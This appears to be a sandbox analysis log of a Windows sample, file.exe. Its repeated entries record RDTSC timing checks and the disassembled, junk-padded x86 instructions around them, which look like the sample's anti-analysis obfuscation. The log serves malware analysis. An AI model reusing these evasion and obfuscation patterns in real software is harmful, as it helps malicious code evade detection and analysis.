Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2D529 second address: E2D55F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDCAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a ja 00007F34C04FCDCEh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F34C04FCDD7h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDC06 second address: DFDC0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDC0C second address: DFDC20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F34C04FCDC6h 0x0000000a popad 0x0000000b jnp 00007F34C04FCDF6h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2FA7F second address: E2FA84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2FECC second address: E2FED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2FED0 second address: E2FEED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F34C0CE3851h 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2FEED second address: E2FEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2EAAB second address: E2EAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F34C0CE384Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E30273 second address: E30279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E33201 second address: E3320C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3320C second address: E33216 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36A19 second address: E36A1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36A1E second address: E36A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36A24 second address: E36A31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F34C0CE384Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E36E61 second address: E36E6F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F34C04FCDC8h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3728E second address: E37297 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E373E3 second address: E373F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F34C04FCDC6h 0x0000000a jc 00007F34C04FCDC6h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A050 second address: E3A05E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C0CE384Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A05E second address: E3A062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A198 second address: E3A19C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A6EC second address: E3A6F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F34C04FCDC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A7E2 second address: E3A7E8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A8AD second address: E3A8B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A8B1 second address: E3A8C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F34C0CE3854h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3A8C2 second address: E3A8C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AC2A second address: E3AC2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AC2F second address: E3AC7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c jl 00007F34C04FCDC6h 0x00000012 pop edx 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push ebp 0x0000001c call 00007F34C04FCDC8h 0x00000021 pop ebp 0x00000022 mov dword ptr [esp+04h], ebp 0x00000026 add dword ptr [esp+04h], 00000018h 0x0000002e inc ebp 0x0000002f push ebp 0x00000030 ret 0x00000031 pop ebp 0x00000032 ret 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F34C04FCDD2h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AC7D second address: E3AC9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F34C0CE3859h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3AC9A second address: E3AC9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3C2C2 second address: E3C2C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3D209 second address: E3D278 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F34C04FCDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c jmp 00007F34C04FCDCEh 0x00000011 pop eax 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebp 0x00000016 call 00007F34C04FCDC8h 0x0000001b pop ebp 0x0000001c mov dword ptr [esp+04h], ebp 0x00000020 add dword ptr [esp+04h], 0000001Dh 0x00000028 inc ebp 0x00000029 push ebp 0x0000002a ret 0x0000002b pop ebp 0x0000002c ret 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+122D2497h], esi 0x00000035 push 00000000h 0x00000037 mov edi, 54932BE2h 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f jmp 00007F34C04FCDD3h 0x00000044 pop eax 0x00000045 push eax 0x00000046 push edx 0x00000047 ja 00007F34C04FCDC6h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3DA86 second address: E3DA94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jns 00007F34C0CE3846h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F8ED second address: E3F8F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E3F8F1 second address: E3F8F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40338 second address: E403C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F34C04FCDD8h 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007F34C04FCDC8h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 00000015h 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a add dword ptr [ebp+124443BAh], esi 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F34C04FCDC8h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Ch 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c push 00000000h 0x0000004e sub dword ptr [ebp+1244A58Dh], ecx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 jnc 00007F34C04FCDC8h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E40E12 second address: E40E90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 jmp 00007F34C0CE3858h 0x0000000c nop 0x0000000d ja 00007F34C0CE3854h 0x00000013 push 00000000h 0x00000015 xor si, 5561h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007F34C0CE3848h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 0000001Bh 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 xor dword ptr [ebp+12444A83h], ecx 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F34C0CE3855h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4188D second address: E41893 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E41893 second address: E41916 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE384Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c xor dword ptr [ebp+122D2730h], ecx 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F34C0CE3848h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e mov esi, edx 0x00000030 add di, 02CBh 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push edi 0x0000003a call 00007F34C0CE3848h 0x0000003f pop edi 0x00000040 mov dword ptr [esp+04h], edi 0x00000044 add dword ptr [esp+04h], 00000014h 0x0000004c inc edi 0x0000004d push edi 0x0000004e ret 0x0000004f pop edi 0x00000050 ret 0x00000051 jmp 00007F34C0CE384Ah 0x00000056 push eax 0x00000057 push eax 0x00000058 push edx 0x00000059 jbe 00007F34C0CE3858h 0x0000005f jmp 00007F34C0CE3852h 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44174 second address: E4417A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4417A second address: E4417E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4417E second address: E44192 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jno 00007F34C04FCDC6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44192 second address: E44197 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E446CC second address: E446D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E44853 second address: E44859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E459D2 second address: E459D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E459D8 second address: E459DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46A26 second address: E46A46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E46A46 second address: E46A4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45AC7 second address: E45ACC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E488BD second address: E488C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E45ACC second address: E45ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F34C04FCDC6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E488C1 second address: E488CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E488CB second address: E488CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E488CF second address: E48928 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F34C0CE3846h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jmp 00007F34C0CE3855h 0x00000011 nop 0x00000012 jng 00007F34C0CE384Ch 0x00000018 add ebx, dword ptr [ebp+122D2717h] 0x0000001e push 00000000h 0x00000020 mov dword ptr [ebp+12475B3Dh], edi 0x00000026 push 00000000h 0x00000028 mov dword ptr [ebp+12455363h], esi 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 jg 00007F34C0CE3846h 0x00000038 jmp 00007F34C0CE3850h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49AC9 second address: E49AE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C04FCDD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E49AE5 second address: E49AEA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48AFB second address: E48AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48AFF second address: E48B1E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F34C0CE3852h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48B1E second address: E48B28 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E48B28 second address: E48B2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4BA8C second address: E4BA90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC15F second address: DFC16C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jc 00007F34C0CE3846h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC16C second address: DFC170 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4C35F second address: E4C364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E144 second address: E4E1DA instructions: 0x00000000 rdtsc 0x00000002 jl 00007F34C04FCDCCh 0x00000008 ja 00007F34C04FCDC6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push ecx 0x00000016 call 00007F34C04FCDC8h 0x0000001b pop ecx 0x0000001c mov dword ptr [esp+04h], ecx 0x00000020 add dword ptr [esp+04h], 00000018h 0x00000028 inc ecx 0x00000029 push ecx 0x0000002a ret 0x0000002b pop ecx 0x0000002c ret 0x0000002d cmc 0x0000002e mov dword ptr [ebp+122D1D7Dh], ebx 0x00000034 jbe 00007F34C04FCDD9h 0x0000003a push 00000000h 0x0000003c mov dword ptr [ebp+122D25AEh], eax 0x00000042 push 00000000h 0x00000044 push 00000000h 0x00000046 push edx 0x00000047 call 00007F34C04FCDC8h 0x0000004c pop edx 0x0000004d mov dword ptr [esp+04h], edx 0x00000051 add dword ptr [esp+04h], 00000018h 0x00000059 inc edx 0x0000005a push edx 0x0000005b ret 0x0000005c pop edx 0x0000005d ret 0x0000005e mov ebx, ecx 0x00000060 xchg eax, esi 0x00000061 push eax 0x00000062 push edx 0x00000063 jg 00007F34C04FCDD4h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFC133 second address: DFC15F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F34C0CE3858h 0x0000000a pushad 0x0000000b push edi 0x0000000c jmp 00007F34C0CE384Bh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53A7F second address: E53A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54C06 second address: E54C0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4F58A second address: E4F590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53C0C second address: E53C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F34C0CE3846h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53CDC second address: E53CE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E53CE0 second address: E53CF7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F34C0CE3853h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E35B second address: E4E35F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E4E35F second address: E4E3E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a xor dword ptr [ebp+122D2762h], edx 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F34C0CE3848h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov dword ptr fs:[00000000h], esp 0x00000038 mov dword ptr [ebp+122D2963h], edx 0x0000003e mov eax, dword ptr [ebp+122D023Dh] 0x00000044 stc 0x00000045 push FFFFFFFFh 0x00000047 push 00000000h 0x00000049 push esi 0x0000004a call 00007F34C0CE3848h 0x0000004f pop esi 0x00000050 mov dword ptr [esp+04h], esi 0x00000054 add dword ptr [esp+04h], 0000001Ah 0x0000005c inc esi 0x0000005d push esi 0x0000005e ret 0x0000005f pop esi 0x00000060 ret 0x00000061 mov di, si 0x00000064 push eax 0x00000065 pushad 0x00000066 push edi 0x00000067 push edx 0x00000068 pop edx 0x00000069 pop edi 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F34C0CE384Dh 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54EA3 second address: E54EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54EA7 second address: E54EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54EAD second address: E54EB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E54EB3 second address: E54EB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60035 second address: E60068 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F34C04FCDD7h 0x0000000b popad 0x0000000c pop eax 0x0000000d ja 00007F34C04FCDEBh 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F34C04FCDCAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E60322 second address: E6033A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F34C0CE3846h 0x00000009 jnc 00007F34C0CE3846h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007F34C0CE3846h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1F11 second address: DF1F15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1F15 second address: DF1F1A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF1F1A second address: DF1F3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007F34C04FCDD4h 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C396 second address: E6C39A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6C39A second address: E6C3A4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F34C04FCDC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E6AF0C second address: E6AF12 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
